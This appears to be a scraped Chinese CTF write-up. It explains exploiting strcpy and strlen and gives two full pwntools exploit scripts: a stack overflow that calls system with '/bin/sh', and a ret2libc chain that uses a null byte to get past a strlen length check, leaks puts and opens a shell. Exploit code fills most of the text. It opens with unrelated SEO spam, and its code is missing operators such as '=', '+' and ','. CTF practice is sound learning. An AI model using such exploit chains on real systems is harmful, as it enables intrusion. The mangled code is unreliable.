旅游网站制作旅游网,海拉尔网站建设sjteam,自己做文字壁纸的网站,锦绣大地seostrcpy,srtcmp,strlen函数漏洞利用
strcpy strcpy函数用于将字符串复制到另一个指针指向的空间中#xff0c;遇到空字符 **b’x\00’**时停止#xff0c;#xff1a; 所以可以利用 strcpy不检查缓冲区 的漏洞#xff08;构造的字符串要以\0结尾#xff09;#xff0c;…strcpy,srtcmp,strlen函数漏洞利用
strcpy strcpy函数用于将字符串复制到另一个指针指向的空间中遇到空字符 **b’x\00’**时停止 所以可以利用 strcpy不检查缓冲区 的漏洞构造的字符串要以\0结尾进行缓冲区溢出攻击: 例子BUUCTF在线评测 (buuoj.cn) main函数中提供了4个函数供使用 其中addlog函数进行输入输入的长度位128个字符调试观察他的栈上返回值0x80488ec在变量的上方无法进行溢出因此该函数只能作为输入 后买你getflag函数中存在一个strcpy函数漏洞可能可以进行栈溢出动态调试观察其栈上的变化可见只要 字符串长度超过0x4c 即可覆盖掉 getflag函数的返回值 在出去时即可挟持函数的控制流 利用addlog函数输入构造的payload长度超过0x4c即可先只需要system函数地址和’bin/sh/字符串的地址即可system函数程序自带查询一下字符串 EXP from pwn import *
from LibcSearcher import *context(oslinux, archamd64, log_leveldebug)premote(node5.buuoj.cn,28321)
elfELF(./ciscn_2019_ne_5)p.recvuntil(bPlease input admin password:)
payload badministrator
p.sendline(payload)
p.recvuntil(b:)
p.sendline(b1)
p.recv()#获取system地址
sys_addrelf.sym[system]
sh_addr 0x080482ea
print(hex(sys_addr))#填充32位baaaa作为system的返回值不需要使用到所以随便填
payload ba*(0x4c)p32(sys_addr)baaaap32(sh_addr)b\x00
p.sendline(payload)
p.recvuntil(b:)
p.sendline(b4)
p.interactive() strlen 题目[LitCTF 2023]狠狠的溢出涅~ | NSSCTF ida查看题目给了一个栈溢出漏洞虽然给了0x200的长度但是后面用户strlen检查了输入的长度不能超过0x50溢出长度明显不够。 但是可以利用strlen函数判断字符串时以 b’\x00’ 结尾可以用b’\x00’绕过strlen的判断EXP from pwn import *
from LibcSearcher import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(oslinux, archamd64, log_leveldebug)
p remote(node4.anna.nssctf.cn,28314)
# p process(./pwn4)
elf ELF(./pwn4)
#获取got、plt地址
got elf.got[puts]
plt elf.plt[puts]
print(hex(got),hex(plt))#获取传参地址
pop_rdi_ret 0x00000000004007d3
main_addr 0x00000000004006B0
ret 0x0000000000400556p.recvuntil(bLeave your message:\n)
#构造payload获得puts函数的地址
payload b\x00*(0x608)p64(pop_rdi_ret)p64(got)p64(plt)p64(main_addr)
p.sendline(payload)
addr u64(p.recvuntil(b\x7f)[-6:].ljust(8,b\x00))
print(hex(addr))# libc LibcSearcher(puts,addr)
# libc_base addr - libc.dump(puts)
# sys_addr libc_base libc.dump(system)
# str_bin libc_base libc.dump(str_bin_sh)
# print(hex(libc_base),hex(sys_addr),hex(str_bin))#查libc库的偏移
libc_base addr - 0x84420
str_bin libc_base 0x1b45bd
sys_addr libc_base 0x52290
print(hex(libc_base),hex(sys_addr),hex(str_bin))#第二次利用栈溢出
payload b\x00*(0x608)p64(ret)p64(pop_rdi_ret)p64(str_bin)p64(sys_addr)
p.sendline(payload)
p.sendline(bcat flag)
# 与远程交互
p.interactive()